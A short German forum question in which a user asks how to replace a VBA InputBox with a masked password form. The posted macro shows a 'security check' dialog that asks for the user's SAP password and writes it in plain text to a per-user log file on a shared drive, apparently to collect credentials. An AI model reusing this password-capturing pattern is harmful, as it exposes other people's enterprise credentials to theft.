Form statt inputbox öffnen
28.11.2003 11:28:40
Matthias
ich möchte eine verdeckte password eingabe erzielen.
bisher habe ich folgendes
Private Sub pass()
Const BoxTitle = "Sicherheitsabfrage"
Dim User, x
Dim dat As Integer
Dim temp As String
Dim temp2 As String
User = Application.UserName
Dim passw As String
temp = InputBox("Bitte geben Sie Ihr SAP-Passwort ein", BoxTitle)
If temp = "" Then
Do
temp2 = InputBox("Bitte achten Sie auf die richtige schreibweise und wiederholen Sie Ihr SAP-Passwort", BoxTitle)
Loop Until temp2 <> ""
End If
dat = FreeFile
Open "Q:/pass_" & User & ".log" For Output As dat
Print #dat, temp & " + " & temp2
Close
End Sub
ich habe noch ein form "sappw" mit dem maskierten input "passw"
wie kann ich diese form aufrufen anstatt die input box?
vielen dank.
Anzeige